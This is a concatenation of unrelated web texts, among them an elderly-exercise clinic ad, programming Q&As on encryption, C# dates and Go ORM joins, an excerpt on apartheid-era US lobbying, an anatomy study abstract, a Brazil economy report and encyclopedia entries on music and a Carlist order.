One of the main concerns we often see in our elderly clients is the fear of falling and balance. Muscle mass decreases approximately 3-8% per decade after the age of 30 and this rate of decline is even higher after the age of 60. We also see a steep increase in the decline of our bone mineral density, especially in post-menopausal women. This means our bones become more brittle and more susceptible to fractures. A decrease in muscle mass can also be accompanied by an increase in fat mass, which is associated with an increase risk of heart disease and type 2 diabetes. This gradual loss of strength and function combine with decrease in bone mineral density is a large contributor to disability, as sarcopenia leads to an increase risk in falls and resulting injury.
But it’s not all doom and gloom! Through exercise we can manage and even reverse some of these changes, reducing our risk of falls and injury and likelihood of developing cardiovascular disease and diabetes.
The Australian Physical Activity guidelines recommend at least 150minutes of moderate intensity aerobic exercise such as walking, swimming, or cycling and 2 strength sessions a week. A common misconception held by the elderly is that resistance training is too strenuous, and that just going for a walk is enough. The importance of strength training can not be overlooked as it is essential for building muscle mass, maintaining our bone mineral density and decreasing insulin resistance, which is protective against diabetes. Individuals who have noticed a decline in their balance should also consider including some specific balance training in their exercise regime to reduce their risk of falls.
Poor aerobic capacity and conditions such a osteoarthritis where our joints feel incredibly sore and stiff can make it extremely difficult to perform normal activities of daily living such as walking to the shops or getting up an out of a chair. If you meet the Australian Physical Activity guidelines, you should notice an improvement in your overall strength, joint mobility and stiffness, flexibility, and cardiovascular fitness in as little as 4-6weeks! Regular exercise is also protective factor against dementia and can act as a form of social engagement, particularly for those who feel isolated. This in turn often results in a significantly improved quality of life, by ensuring no matter what age you are you can still participate in the activities that you love and not feel limited by you health.
The most important thig to remember is that it’s never to late too start. We respond to exercise stimuli the same at any age, meaning we see similar increases in overall strength and fitness in all ages. However, here at Longevity we understand that starting an exercise program can sometimes seem daunting or even overwhelming. Our Exercise Physiologists prescribe exercise specific to your overall health and current physical activity levels, finding the right dose and modality for you.
You can contact Longevity Personal Training and Exercise Physiology Edgecliff, Lindfield, Marrickville, Randwick, Drummoyne, Balmain, Bella Vista on 1300 964 002 to enquire today.
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Encryption - Cross Platform (python)
Startbeitrag von ChristoK! am 12.08.2017 22:07
Greetings Gang...
Does anyone know how to encrypt something in WX and then decrypt in another language (specifically Python, but I'll take what I can get at this point) - and vice-versa
something like this
SomeVal is string = "pizza"
bufKey is Buffer = HashString(HA_MD5_128,"password")
sResult is buffer= CryptStandard(SomeVal, bufKey, cryptAES128)
nLen is int = Length(sResult)
sResult = BufferToHexa(sResult,1,128)
sResult = NoCharacter(sResult," ",sscAll)
sResult = NoCharacter(sResult,CR,sscAll)
now I just need the python end to be able to decrypt it (and need them to do the same sort of thing so that I can decrypt it)
if anyone has a better method I am open to that as well - this is currently one of the 2 banes of my existence
Antworten:
Hi
well, it seems that you know how to do it on the WX side, and as for python, you are asking on the wrong forum.
You should ask your question on how to decrypt a hexa to buffer, then buffer to string in AES128 on a python forum.
Best regards
von Fabrice Harari - am 14.08.2017 12:55
Thanks Fabrice...
so they don't need to use a specific library for decryption/encryption (ie there is standardised one that the other languages use)... sorry for the obviousness of the question, kinda new to the whole encryption/decryption thing (with other languages)
C!!!
von ChristoK! - am 14.08.2017 13:18
Hi again
no they don't
it's the whole point of the "new" cryptstandard function. It uses standard algorithm implemented in a standard way, in order to be compatible with external tools doing the same thing.
You just need to choose the proper algorithm for the external tool (what is available on both sides) and of course know a little bit what you are doing, as there are encryption tricks (padding and such).
Best regards
von Fabrice Harari - am 14.08.2017 16:10
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Chagall was a highly creative and unique Russian-French artist who dabbled in virtually every artistic medium throughout his career, including paintings, lithographs, stained glass, ceramics, tapestries, mosaics and more. During his life he was associated with several key art movements, and was one of the most successful artists of the 20th century.
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N elson Mandela—South Africa’s first black president—died Thursday in Johannesburg at age 95. His passing has been mourned by millions across the world who consider Mandela an icon in the effort to dismantle South Africa’s apartheid policies. Although Mandela and his cause are almost universally lionized today, those policies were the topic of much controversy in the United States in the 1980s as Congress debated whether to impose sanctions on the South African government—which it ultimately did in 1986, in a bill that listed Mandela’s release from prison as a condition for lifting the sanctions.
What follows is an adapted excerpt from Operation Blackwash, New York Times reporter Ron Nixon’s recent ebook about Pretoria’s efforts to roll back those sanctions—improbably enlisting African Americans in an attempt to squelch anti-apartheid sentiment abroad. Of course, not only were sanctions passed, but apartheid ended in 1994, and Mandela, the freedom fighter, prisoner and peacemaker, was elected president.
On the morning of June 8, 1988, dozens of children from Washington, D.C., schools spread out across the well-manicured lawns of the U.S. Capitol. Holding hands, the students walked one by one into the domed building, marveling at the large rotunda inside and giggling as their voices echoed off the spacious walls.
But this was no ordinary field trip. The children weren’t there just for a civic lesson—they were also there to deliver a message. Each child carried a small black doll to deliver to the lawmakers. And each doll represented a child who would be harmed by the sanctions that Congress had imposed on South Africa two years earlier in protest of the country’s apartheid government.
The message behind the dolls—part of a lobbying campaign called “Operation Heartbreak”—was simple: Sanctions on South Africa would do more harm than good. “We are here in the interest of millions of suffering South African children who are already the poorest and most helpless and the most vulnerable in South Africa, [who will] be further harassed and suffer all the more with a further round of U.S. sanctions,” the organizer of the event said at the time.
His name was Rev. Kenneth Frazier, a former Methodist minister and failed congressional candidate, as well as the leader of the group behind Operation Heartbreak, which called itself the Wake Up America Coalition. Frazier—despite his opposition to a policy meant to weaken South Africa’s white-dominated segregationist government—was also black.
Operation Heartbreak and the Wake Up America Coalition would vanish as quickly as they had sprung up: Within weeks, the House of Representatives would pass a tougher sanctions act, and apartheid would finally be dismantled in 1994. But years later, the event would be revealed as part of an elaborate campaign aimed at turning an unlikely coalition of black Americans against further U.S. sanctions on South Africa. In part, that meant isolating African Americans from prominent African critics of apartheid, like Nelson Mandela. With plans hatched by government officials in Pretoria and aided by an army of lobbyists in Washington, apartheid defenders waged a relentless campaign for the hearts and minds of the black American community by appealing to the economic suffering of fellow blacks in South Africa—the very victims of apartheid.
The U.S. campaign was part of the apartheid-era government’s worldwide propaganda push to improve its image, especially in the 1980s and 1990s. Official estimates from the country’s Department of Information put annual spending on the campaign at about $100 million a year (in 1980s dollars), though the true amount might never be known. The lobbying effort targeting American blacks was not the largest, but it was one of the most significant, as Pretoria’s agents built up a network of proxies among black groups not just in the capital, but across the country—in Arizona, Florida, North Carolina, Mississippi, Ohio and Texas.
In a stunning example of the Washington influence game at its cynical worst, the U.S. campaign would involve hundreds of people, from church leaders to black newspaper owners, from black businessmen to executives at multinational corporations. Some were willing participants who were paid handsomely for their services. Others, like the black children delivering dolls to members of Congress, played a part unknowingly. The campaign even involved many prominent civil rights leaders, some of whom had once fought alongside Martin Luther King Jr. against racism and segregation in the United States.
What follows are the stories of just a few of those individuals—who maintained complicated, and sometimes hidden, connections to Pretoria—and their failed efforts to turn African American opinion about Mandela’s cause on its head.
William A. Keyes
After quitting his job as a low-ranking domestic policy adviser in the Reagan administration, William Keyes signed up for a free trip to South Africa sponsored by the South African Foundation—a group that was funded by South African businesses with close ties to the government and that hosted dozens of visits for American businessmen, journalists and political leaders. Despite having left the White House, Keyes still supported the administration’s position opposing sanctions against South Africa. More importantly, he was black—exactly the kind of man the South African government was looking for when it began thinking of ways to counter the budding U.S. sanctions movement.
In an interview with the Washington Post in 1985, Keyes said that during his trip he met Louis Nel—South Africa’s deputy minister for foreign affairs at the time and director of the Bureau of Information, the government’s propaganda arm responsible for improving the nation’s image at home and abroad—as well as other officials, including Foreign Minister R.F. “Pik” Botha. U.S. Justice Department records show that a month after Keyes’s trip, the South African Embassy in the United States hired him as a lobbyist, with a contract that made him the South African government’s liaison to the black community in the United States. The documents also show that Keyes helped create the public relations firm International Public Affairs Consultants, which handled the South Africa account.
All of this was part of a broader propaganda campaign, headed by Nel, to sell the South African government’s policy of gradual reform. The Washington Post noted at the time that Keyes’s job was to “stop a rising tide of black American opposition to the South African government.” As Pretoria’s point man to the U.S. black community, Keyes arranged television appearance for the South African ambassador on a black-oriented television program; arranged for African American businessmen and reporters to travel to South Africa; and organized scholarships for a few black South African students.
Reached at his law office in Pretoria, Nel, who has retired from politics, said recently that neither he nor Botha remembers Keyes specifically. Nel also had no recollection of Keyes being on the South African government’s payroll, saying Keyes must have been representing the South African Foundation. But Nel did recall having met several black Americans who had come to South Africa at that time—one of them had given him a cowboy hat as a gift—and Nel was eager to meet them, he said. “We were trying to show them things from our point of view—that things were changing in South Africa. That we were moving away from apartheid.”
Despite his high profile and salary (nearly $400,000), Keyes, who did not respond to multiple requests for an interview, appears to have accomplished little. He had almost no ties within the wider black community in the United States and was little known outside right-wing conservative circles. (It didn’t help that he had worked for the Reagan administration, which was hardly popular with African Americans.) It also didn’t help that he had accused the African National Congress—the main South African political party that opposed apartheid—and other anti-apartheid parties of being agents of the Soviet Union. “It’s important that we recognize in the U.S. the reality of the ANC as a terrorist outlaw organization which has perpetrated violence primarily against innocent black people,” he said in an interview with CNN in 1985. The comments did not go over well with the black community, the majority of whom supported the ANC and the other anti-apartheid parties.
Meanwhile, black members of Congress, none of whom was swayed to oppose sanctions, moved ahead with a South African sanctions bill, first introduced in 1972 by Rep. Ronald Dellums, a black California Democrat. Members of the Congressional Black Caucus worked to get their white counterparts to sign on to the bill, and despite the efforts of Keyes and other South African lobbyists, it was finally passed in 1986, stunning the South African government, which had poured millions of dollars into defeating the legislation.
Before taking charge of the Wake Up America Coalition in 1987, Kenneth Frazier traveled to South Africa, he says, where he met groups involved in both sides of the apartheid conflict and was moved by the condition of black children. Although Frazier insisted even at the time that Operation Heartbreak was intended to raise awareness about these children, many observers thought the effort was more about stopping the sanctions bill. Indeed, at a press conference announcing the campaign, Frazier launched into an attack on the ANC and said that white members of the U.S. Congress who supported the sanctions were afraid of being labeled racists. But Frazier called on Congress not to pass further sanctions because, he argued, they would put the parents of black South African children out of work.
“If you are prepared to vote for another round of more restrictive sanctions and disinvestments against South Africa, understanding the consequences for its black children, let us establish for the record that you are not hypocritical, that you will lead our nation in a show of compassion for South Africa’s black children,” Frazier said.
The late Rep. Mervyn Dymally, for one, a black California Democrat, denounced Frazier and his campaign, calling it a “front for one of the many South African supported and funded groups.” “There is no doubt in my mind that that this is designed to develop opposition to the sanctions Bill,” Dymally said. Contacted after the operation, many of the schools also said they felt duped by Frazier. School administrators who supported the anti-apartheid movement had no idea their students had been used in an anti-sanctions lobbying campaign.
The Department of Justice has no records listing Frazier or the Wake up America Coalition as a lobby for the South African government, or even confirming that the coalition ever existed. It’s also unclear how Frazier was able to travel to South Africa or whether he went there at all. But many former anti-apartheid activists suspect that he was one of dozens of people who were taken on trips by the South African Foundation. Frazier did not return multiple phone calls requesting his comment. Nel, the South African deputy foreign affairs minister and Bureau of Information director, said he could not remember having met anyone fitting Frazier’s description.
Frazier had a history of making controversial comments about the anti-apartheid movement, however. In 1985, he received local attention in the Los Angeles Times when in a talk at a community college he said the anti-apartheid movement was communist-led and would put all of Africa under Soviet rule. “In South Africa, the saga continues as blacks themselves, inspired by the wild rhetoric of Marxism, murder and mutilate their own black teachers, doctors, lawyers, businessmen and women,” Frazier told the L.A. Times. “The worst thing in South Africa you can be today is not a white racist, but a black teacher, a black doctor or lawyer—any person of color who is using the South African system to create for himself and his family the trappings of an abundant life.”
Frazier was also one of the leaders of the Church Universal and Triumphant, a controversial New Age sect founded in 1975 that had ties to a number of right-wing groups and supporters of the apartheid government. The church’s founder, Elizabeth Clare Prophet, often praised South Africa in her writings, seeing it as a bulwark against Soviet expansion. In July 1987, a year before Operation Hearbreak, the church hosted Uys Viljoen, then the political counselor at the South African Embassy in Washington, on a panel to discuss the political situation in South Africa. The event included no anti-apartheid activists, but Frazier, as well as other conservative black Americans, joined Viljoenon the panel.
J. Morgan Hodges
At about the same time that Kenneth Frazier was delivering dolls to members of Congress, two videos made by a black American named J. Morgan Hodges appeared in the mail slots at congressional offices. In a letter accompanying the videos, which urged members of Congress to oppose the sanctions bill, Hodges said he was a lifelong Democrat who had recently traveled to South Africa to see the country for himself, and had come away with the conclusion that sanctions would not be in the best interest of black South Africans.
In the first of Hodges’s videos, “South Africa: A Closer Look,” a 12-minute, well-produced work with African drums beating in the background, interviews are conducted with several blacks opposed to sanctions. Instead of hearing from “international spokesmen and political activists,” Hodges said, he had gone to South Africa to hear the voices of regular people and publicize their concerns. “These black Africans don’t want paternalism. They don’t want others to decide how their battles should be fought,” Hodges said, as images of ordinary South Africans flashed across the screen. “As a black American, I understand and endorse their decision.” A second video, called “Listen to Our Voices,” featured interviews with other black South Africans opposed to sanctions.
A stocky man with a round face and booming voice, Hodges had registered as a lobbyist with Congress in 1986, and lobbying disclosure records show he was paid $9,500 for his efforts, which were expressly directed at defeating the sanctions bills. Records do not list the source of the funding, nor do they indicate whom he represented. However, business records for the Washington area show no evidence that the employer Hodges listed, Chris/Mor Productions, ever existed. In meetings with members of Congress and their staffers, Hodges denied that he was part of any organized effort to defeat sanctions, saying that during his travels in South Africa he had found that most blacks opposed sanctions and thought they would do more harm than good.
Still, public records show that Hodges was minister of the Universal Holiness Church, a small church in Washington, as well as a board member of the conservative National Religious Broadcaster, a group of mostly white broadcasters with a long history of backing the apartheid government. Members of the group went on a number of fact-finding tours to South Africa in 1986 and 1987 and later produced programs favorable to the South African government. It is not known whether Hodges went with them. The trips were ostensibly paid for by an “anonymous group of South African businessmen.” But in later interviews the executive director of the religious broadcaster admitted that some of the funding for the trips might have come directly from the South African government.
There are no records proving that Hodges, who died in 2012, showed any further interest in South Africa. At his funeral, he was praised for his work as a minister, civic leaders and crusader for the rights of blacks worldwide. No one mentioned his anti-sanctions lobbying efforts.
Robert Brown, another anti-sanctions crusader, offers no apologies for his work with the Coalition on Southern Africa, a group composed of black American ministers from several religious denominations, as well as black businessmen and academics. The group took a more moderate stance than other organizations that opposed sanctions: It sought an end to apartheid but thought sanctions were the wrong the way to go about it. Instead, the coalition worked to develop business links between black Americans and black South Africans in order to promote their education and training. “As an organization we are convinced that divestment by American companies has been a failed tactic and practical disaster,” the group wrote in a letter to President Ronald Reagan in September 1987.
Brown, however, does not deny he had close ties with individuals within the apartheid government, including a friendship with South Africa’s ambassador to the United States at the time, Piet Koornhof. A former associate of MLK, Brown, whom I interviewed earlier this year, believes his work as a representative for companies opposed to sanctions was good for South African blacks. He made his first trips to South Africa after Sara Lee, a client of his public relations firm, B&C Associates, bought the South African subsidiary of a shoe polish company in 1984. “I was seeing kids with no shoes, people just living in horrible conditions,” he said. But rather than supporting sanctions, he urged Sara Lee and other business to do more to help blacks, including adding them to corporate boards and putting them in supervisory positions. This stand put him at odds with leaders of the U.S. anti-apartheid movements and organizations in South Africa like the ANC.
It also put him at odds with Nelson Mandela himself. Despite Brown’s work cultivating ties with South African government and corporate leaders, in 1986 or 1987, through his friendship with Koornhof, Brown met Winnie Madikizela Mandela, Nelson Mandela’s wife at the time—who soon after announced that Brown had been given the power of attorney to represent Mandela family interests and prevent the “rip-off” of the imprisoned anti-apartheid leader’s name.
But Nelson Mandela himself quickly issued a statement through his attorney denying that Brown, or anyone else besides the ANC, had been given the authority to speak on his behalf. (It was one of the first splits in the public views of Winnie and Nelson Mandela, who would divorce years later.) The controversy grew when it was revealed that Brown had solicited hundreds of thousands of dollars from American individuals to build a luxury home for Winnie Mandela in Soweto. After the source of funding for the house was made public, Winnie Mandela decided not to move into the mansion until Nelson Mandela was released from prison. Brown would also later pay for two of the Mandelas’ children to attend college in the United States
While Brown admits that he was a member of the Coalition on Southern Africa, he says he played no role in the day-to-day operations of the group and refuses to say whether he was one of its founders, as the late investigative reporter Jack Anderson had claimed. The purpose of the group, Brown insisted, was not to mislead the public about its origins, but to work to bring churches and corporations together to find a solution to the problem of apartheid.
“No one was trying to hide anything,” he said. “We were trying to find a solution that would hasten the end of apartheid but didn’t leave blacks worse off than they were under the race-based apartheid system.” Brown later quit the group, he said, not because it was revealed to be funded by corporations with business interest in South Africa, many of whom were his clients, but because the group “was being perceived as being pro-apartheid and pro-apartheid government.” He adds: “That’s not what I was about.”
Despite the criticism of his stance on South Africa during the apartheid years, Brown has no regrets about his work there. “I challenge anybody to put their work up against mine,” he said. “It’s fine to talk about ending apartheid, but people needed to have jobs and eat, even ANC members.” Asked whether he believed sanctions against South Africa worked, Brown said he did. But, he added: “I think my way worked too.”
Nelson Mandela, perhaps not surprisingly, thought differently. “On occasion the work of our American colleagues was indispensable,” he once wrote, praising the American college students, churches, civil rights groups, unions and state and local governments—including many African Americans—who pushed for years to cut economic ties with South Africa. “International sanctions,” Mandela concluded, “were a key factor in the eventual victory of the African National Congress over South Africa’s white minority regime.”
Ron Nixon is a reporter in Washington for the New York Times and author of Operation Blackwash, from which this article is adapted. | FINEWEB-EDU |
So Hot Productions
So Hot Productions is a music production company located in St. Louis, Missouri.
Awards and nominations
The following albums feature production by So Hot Productions.
* Stellar Awards
* 2006, The Incredible Walk (nominated)
* 2006, The Thesis (nominated)
* 2007, Real Talk (nominated)
* 2007, The Faith (won)
* 2008, HIStory: Our Place In His Story (nominated)
* Grammy Awards
* 2006, Higher Definition (nominated)
* 2008, HIStory: Our Place In His Story (nominated)
* 2008, Open Book (nominated)
2004
* "Gift Rap" - The Cross Movement & Friends
* "Higher Definition" - The Cross Movement
2005
* "116 Clique: The Compilation Album" - 116 Clique
* "The Faith" - Da' T.R.U.T.H.
* "The Incredible Walk" - Phanatik
* "The Journal, Vol. 1" - T.R.U.-L.I.F.E.
* "Metamorphosis" - J.R.
* "Rewind" - FLAME
* "The Thesis" - The Ambassador
2006
* "After the Music Stops" - Lecrae
* "Kingdom People" - Tedashii
* "If They Only Knew" - Trip Lee
* "Chronicles (Greatest Hits, Vol. 1)" - The Cross Movement
* "WhyHipHop? 2K6" - Various Artists
2007
* "Everyday Process: The Process of Illumination & Elimination" - Everyday Process
* "Our World: Fallen" - FLAME
* "13 Letters" - 116 Clique
* "HIStory: Our Place In His Story" - The Cross Movement
* "Open Book" - Da’ T.R.U.T.H.
* "Turn My Life Up" - Sho Baraka
* "Life by Stereo" - J.R.
2008
* "Our World: Redeemed" - FLAME
* "Chronicles of an X-Hustler" - Thi'sl
* "Life On Life" - Json
* "20/20" - Trip Lee
* "Rebel" - Lecrae
* "SoapBox" - R-Swift
* "The Chop Chop" - The Ambassador
2009
"A Different World" - Rio a.k.a. KuntryBoyy
"Focus EP" - Jai
2010
* "Between Two Worlds" - Trip Lee
* "Rehab" - Lecrae
2011
* "The Whole Truth" - Da' T.R.U.T.H.
* "Culture Shock" - Jai
* "Murray's Grammar: New Rules" - J.R.
2012
* "Gravity" - Lecrae
* "High Society Collective" - High Society Collective (Courtney Orlando, Sho Baraka, Swoope, Natalie Lauren)
2013
* "ATLast" - Alex Faith
2015
* "Bloodlines" - Alex Faith | WIKI |
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ASP.NET (C#) Question
Convert string yyyy/mm/dd/hh/mm to datetime in C#
Hello I want to convert string to DateTime.
My string is like this '2016/11/18/12/03'.2016 is year,11 is month 18 is a day 12 hour and 3 min. I want to convert it into format like this '2016-11-18 12:03:00.000'. How can do that in C#? Can I use split function which form array. That split yyyy, month, date, hh and min. How to add them to form new date?
string s = '2016/11/18/12/03'
string[] arr = s.split('/');
Answer
the below should work -
using System.Globalization;
DateTime result;
CultureInfo provider = CultureInfo.InvariantCulture;
string dateString = "yyyy/MM/dd/HH/mm";
result = DateTime.ParseExact("2016/11/18/12/03", dateString, provider);
//2016-11-18 12:03:00.000
string display = result.ToString("yyyy-MM-dd HH:mm:ss.fff");
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Monoscopically projected three-dimensional (3D) visualization technology may have significant disadvantages for students with lower visual-spatial abilities despite its overall effectiveness in teaching anatomy. Previous research suggests that stereopsis may facilitate a better comprehension of anatomical knowledge. This study evaluated the educational effectiveness of stereoscopic augmented reality (AR) visualization and the modifying effect of visual-spatial abilities on learning. In a double-center randomized controlled trial, first- and second-year (bio)medical undergraduates studied lower limb anatomy with stereoscopic 3D AR model (n = 20), monoscopic 3D desktop model (n = 20), or two-dimensional (2D) anatomical atlas (n = 18). Visual-spatial abilities were tested with Mental Rotation Test (MRT), Paper Folding Test (PFT), and Mechanical Reasoning (MR) Test. Anatomical knowledge was assessed by the validated 30-item paper posttest. The overall posttest scores in the stereoscopic 3D AR group (47.8%) were similar to those in the monoscopic 3D desktop group (38.5%; P = 0.240) and the 2D anatomical atlas group (50.9%; P = 1.00). When stratified by visual-spatial abilities test scores, students with lower MRT scores achieved higher posttest scores in the stereoscopic 3D AR group (49.2%) as compared to the monoscopic 3D desktop group (33.4%; P = 0.015) and similar to the scores in the 2D group (46.4%; P = 0.99). Participants with higher MRT scores performed equally well in all conditions. It is instrumental to consider an aptitude–treatment interaction caused by visual-spatial abilities when designing research into 3D learning. Further research is needed to identify contributing features and the most effective way of introducing this technology into current educational programs.
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Keywords augmented reality, gross anatomy education, mental rotation test, stereoscopic three-dimensional visualization technology, undergraduate education, visual-spatial abilities
Persistent URL dx.doi.org/10.1002/ase.1941, hdl.handle.net/1765/124301
Journal Anatomical Sciences Education
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Bogomolova, K. (Katerina), van der Ham, I.J.M, Dankbaar, M, van den Broek, W.W. (Walter W.), Hovius, S.E.R. (Steven E.R.), van der Hage, J.A, & Hierck, B.P. (2019). The Effect of Stereoscopic Augmented Reality Visualization on Learning Anatomy and the Modifying Effect of Visual-Spatial Abilities: A Double-Center Randomized Controlled Trial. Anatomical Sciences Education. doi:10.1002/ase.1941 | ESSENTIALAI-STEM |
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I wonder if it is possible to select by a condition in a preloaded object. For example, I have tables User and Profile (one to one). So I need to get all Users with Profiles where sex is female.
I thought it can be done by something like this:
Preload("UserProfile").Where("user_profile.sex = ?", "female")
But it returns something like:
pq: missing FROM-clause entry for table \"user_profile\"
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• I belive the table is actually called user_profiles – Зелёный Apr 12 '19 at 17:06
• I found, I have to use Joints: Joins("left join trade_items on trade_items.id = trade_requests.trade_item_id") and then Where("trade_items.request_type = ?", "SELL") – Artem Skliarov Apr 12 '19 at 17:12
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Preloading doesn't join the tables specified. You need to explicitly join the table in question:
Preload("UserProfile").Joins("LEFT JOIN user_profile ON user.id = user_profile.user_id")
.Where("user_profile.sex = ?", "female")
...Assuming your primary key is called id, and foreign key is called user_id.
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I also faced the same issue in a recent project. I found the below solution to work for me.
var users []User
Preload("UserProfile","sex = ?","female").Find(&users)
and then check for
user.profile!=nil
The issue in this approach is it will load all users.
But in your case, it can be another way around.
var profiles []Profile
Preload("User").where("sex = ?","female").Find(&profiles)
I hope this will solve your problem.
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NAME Filesys::POSIX - Provide POSIX-like filesystem semantics in pure Perl SYNOPSIS use Filesys::POSIX use Filesys::POSIX::Mem; my $fs = Filesys::POSIX->new(Filesys::POSIX::Mem->new, 'noatime' => 1 ); $fs->umask(0700); $fs->mkdir('foo'); my $fd = $fs->open('/foo/bar', $O_CREAT | $O_WRONLY); my $inode = $fs->fstat($fd); $fs->printf("I have mode 0%o\n", $inode->{'mode'}); $fs->close($fd); DESCRIPTION Filesys::POSIX provides a fairly complete suite of tools comprising the semantics of a POSIX filesystem, with path resolution, mount points, inodes, a VFS, and some common utilities found in the userland. Some features not found in a normal POSIX environment include the ability to perform cross- mountpoint hard links (aliasing), mapping portions of the real filesystem into an instance of a virtual filesystem, and allowing the developer to attach and replace inodes at arbitrary points with replacements of their own specification. Two filesystem types are provided out-of-the-box: A filesystem that lives in memory completely, and a filesystem that provides a "portal" to any given portion of the real underlying filesystem. By and large, the manner in which data is structured is quite similar to a real kernel filesystem implementation, with some differences: VFS inodes are not created for EVERY disk inode (only mount points); inodes are not referred to numerically, but rather by Perl reference; and, directory entries can be implemented in a device-specific manner, as long as they adhere to the normal interface specified within. READ MORE For further information, please consult the POD documentation for the Filesys::POSIX module. | ESSENTIALAI-STEM |
-- Brazil’s June Economic Activity Rises Most in Five Months
Brazil ’s economic activity in June
increased the most since January after falling more than first
reported the month prior, as the world’s second-largest emerging
market expands at an uneven pace. The seasonally adjusted economic activity index , a proxy
for gross domestic product, rose 1.13 percent percent in June
from the previous month after falling a revised 1.5 percent in
May, the central bank said today in a report posted on its
website. Analysts expected a 1.2 percent increase, according to
the median estimate of 25 economists surveyed by Bloomberg. President Dilma Rousseff ’s administration has cut taxes and
subsidized credit to revive Latin America’s largest economy
while trying to tamp inflation that twice breached the target
range in 2013. While tax cuts and an improvement in industrial
production helped economic activity accelerate 0.9 percent
during the second quarter compared to the previous three months,
a drop in consumer confidence will bring slower growth in July,
according to Flavio Serrano, senior economist at Banco Espirito
Santo de Investimento. “It’s a positive number, but we don’t think it’s going to
last,” Serrano said by phone from Sao Paulo . “We have numbers
that indicate a strong deceleration in July.” Swap rates on the contract maturing in January 2015 rose 11
basis points, or 0.11 percentage point, to 10.13 percent at 9:10
a.m. local time. The real strengthened 0.13 percent to 2.3218
per U.S. dollar . Worst Performance Economists surveyed by the central bank on Aug. 9 forecast
the economy would increase 2.21 percent this year after growing
0.9 percent in 2012, which was the worst performance since 2009.
They estimate inflation will reach 5.74 percent in 2013, within
the central bank’s 2.5 percent to 6.5 percent target range. Annual inflation in July eased to 6.27 percent, the lowest
rate since January. The central bank board in its Aug. 27-28
meeting will decide whether to raise the benchmark interest rate
for the fourth consecutive time. The non-seasonally adjusted economic activity index rose
2.35 percent from a year ago, compared with a median estimate of
a 2.7 percent gain, the central bank said today. To contact the reporters on this story:
Matthew Malinowski in Brasilia at
mmalinowski@bloomberg.net ;
David Biller in Rio de Janeiro at
dbiller1@bloomberg.net To contact the editor responsible for this story:
Andre Soliani at
asoliani@bloomberg.net | NEWS-MULTISOURCE |
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144 had extended to all oilier articles of food as well as grain], as of wood, out of this realm into the parts beyond the seas; by reason whereof the said corn, victual, and wood are grown into a wonderful dearth and extreme prices." So that we see even this short solitary suspension of the onward movement of the land-cultivating, or rather of the land-owning, interest was rather nominal than real. But at any rate the subsequent advance of the landed interest in this course of acquisition was both steady and open enough. In 1562 (by the 17th, or, in the common editions, the 26th section of the 5 Eliz. c. 5, curiously entitled " An Act touching certain politic constitutions made for the maintenance of the Navy") the limit within which there should be a free exportation of wheat was enlarged by the elevation of the terminating price to 10s. the quarter; a corresponding alteration being at the same time made for other descriptions of grain. In 1571 (by the 13 Eliz. c. 13) the law of 1394 was restored, and exportation was made free, whatever might be the home price, at all times when no proclamation had been issued to the contrary. Then by a succession of acts the limits within which the right of exportation was made absolute, and independent even of the control of the royal prerogative, were gradually extended, by the elevation of the terminating price in 1623 (by the 21 Jac. I. c. 28) to 32s.; in 1660 (by the 12 Car. II. c. 4) to 40s.; and in 1663 (by the 15 Car. II. c. 7) to 48s. Up to this point, however, although the landed interest had been successful in breaking down to a considerable extent the ancient policy of the kingdom, which was prohibitory of exportation in all circumstances, it cannot be said (if we except the law of 1463 forbidding importation while the home price was under 6s. 8d., which had now long ceased to be operative, if it ever had been so) that any unfair advantage had been given to the growers of corn; all that had been done in their favour had only tended to make the trade in corn more and more free, by removing part of the restrictions that had been laid upon the export of the commodity. But soon after this a new system was begun. | WIKI |
Players (album)
Players is the second studio album by American Oakland-based rapper Too Short. It was released in 1985 via 75 Girls Records. Audio production of the entire record was handled by Dean Hodges, who also served as executive producer.
Personnel
* Todd Anthony Shaw - vocals, keyboards
* Dean Hodges - producer, executive producer
* Marvin Holmes - guitar
* Keenan "The Maestro" Foster - keyboards
* Howard Johnston - engineer
* H. Kennedy - keyboards
* G. Levias - keyboards
* Matheus - guitar | WIKI |
Order of Prohibited Legitimacy
The Order of Prohibited Legitimacy (Italian: Ordine di Vietata Legittimità/Spanish: Orden de la Legitimidad Proscrita) is a Parmese dynastic order of knighthood originally awarded by the House of Bourbon-Parma to Carlist supporters. The order was founded in 1923 by Jaime de Borbón y de Borbón-Parma, a Carlist claimant to the Spanish throne and a Legitimist claimant to the French throne, for rewarding loyalists of the Carlist movement. In modern times, there are two branches of the Order. One branch's Grand Master is Prince Carlos, Duke of Parma while the other's is his uncle, Prince Sixtus Henry.
History
The Order of Prohibited Legitimacy was created on 16 April 1923 by Jaime de Borbón y de Borbón-Parma; in Paris, he sent a letter to his political secretary José Selva Mergelina, 5th Marquis de Villores, explaining his creation of the order stating that it served to recognize "all those who by their sufferings or services become worthy of it." The Marquis de Villores was decorated with the Order soon after. By a Royal Decree on 8 December 1923, he granted it to Carlist loyalist youths and Julio de Urquijo e Ibarra, Count of Urquijo in Madrid.
Since the death of Jaime, the claimants to the Carlist dynastic legitimacy have acted as Grand Masters of the Order. Jaime was succeeded as Sovereign of the Order by his cousin, Alfonso Carlos de Borbón y Austria-Este in 1931. Alfonso died in 1936 without any male heir. His wife, Infanta Maria das Neves of Portugal, designated her nephew, Prince Xavier, Hereditary Duke of Parma, as his successor. Prince Xavier was succeeded by his son Prince Carlos Hugo, Hereditary Duke of Parma in 1977.
Prince Carlos Hugo, along with his sister Princess María Teresa, embraced Titoist socialism in the 1970s and sought to reform the Carlist Party. In 1979 he renounced his Carlist claims. In response, his traditionalist brother Prince Sixtus Henry of Bourbon-Parma, established himself as the Grand Master of the Order. In 2003, while in France, Prince Carlos Hugo re-asserted his Carlist claims and assumed the title Count of Montemolin, also bestowing the Carlist titles Duke of Madrid, Duke of San Jaime, and Duchess of Guernica upon his children. He reestablished himself as the Grand Master of the Order of Prohibited Legitimacy. His brother, Prince Sixtus Henry, and the supporters of his brother did not recognize the claim made by Carlos Hugo. Therefore, the order maintains two branches, one headed by Prince Sixtus Henry and the other by Prince Carlos Henry's successor, Prince Carlos, Duke of Parma.
Insignia
The insignia of the Order of Prohibited Legitimacy consists of a Covadonga Cross hanging on a ribbon with vertical black and green bars. The ribbon is in a simpler form for gentlemen, and is decorated with a small rosette for officers and a large rosette for commanders.
Grand Masters
* Infante Jaime, Duke of Madrid (1923-1931)
* Infante Alfonso Carlos, Duke of San Jaime (1931-1936)
* Prince Xavier, Duke of Parma (1936-1977)
* Prince Carlos Hugo, Duke of Parma (1977-1979, 2003-2010; disputed after 1979)
* Prince Sixtus Henry, Duke of Aranjuez (1979–present; disputed)
* Prince Carlos, Duke of Parma (2010–present; disputed)
Knights
